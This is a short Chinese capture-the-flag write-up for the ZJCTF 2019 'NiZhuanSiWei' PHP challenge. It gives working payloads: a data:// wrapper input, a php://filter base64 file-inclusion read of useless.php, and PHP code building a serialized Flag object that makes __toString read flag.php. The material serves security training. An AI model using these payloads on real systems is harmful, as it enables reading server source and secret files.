[ZJCTF 2019]NiZhuanSiWei

关键点:

(1)file_get_contents($text,'r')

(2)include($file)

(3)$password = unserialize($password);
echo $password;

1.变量如何变成文件输出

text=data://text/plaint,welcome to the zjctf

  1. include($file)文件包含

file=php://filter/convert.base64-encode/resource=useless.php

3.反序列化

源码

php 复制代码
<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

构造

php 复制代码
<?php
class Flag{  
     public $file='flag.php';
}
$a=new Flag;
echo serialize($a) ;
?>

上面的源码有echo $password,会触发__toString()。

相关推荐
中科固源5 小时前
面对快手式自动化突袭:如何堵住通讯协议的数字化命门?
安全·网络安全·通讯协议·模糊测试
闲人不梦卿6 小时前
网络安全技术
网络·网络安全
信安大佬6 小时前
2025鹏城杯-whiteout
网络安全
bl4ckpe4ch6 小时前
用可复现实验直观理解 CORS 与 CSRF 的区别与联系
前端·web安全·网络安全·csrf·cors
合天网安实验室7 小时前
从HTML注入到CSRF:一次漏洞组合拳实战
web安全·csrf·漏洞实战·html注入
奋斗者1号7 小时前
MQTT连接失败定位步骤
开发语言·机器学习·网络安全
zhengfei6118 小时前
AI渗透工具——AI驱动的BAS网络安全平台
人工智能·安全·web安全
小快说网安8 小时前
等保测评通过后,如何持续满足安全运维要求?
运维·安全·网络安全·等保测评
蓝之白9 小时前
流量分析_SnakeBackdoor-1~6
web安全·ctf·流量分析·逆向分析
mooyuan天天10 小时前
CISP-PTE 日志分析2
网络安全·cisp-pte·日志分析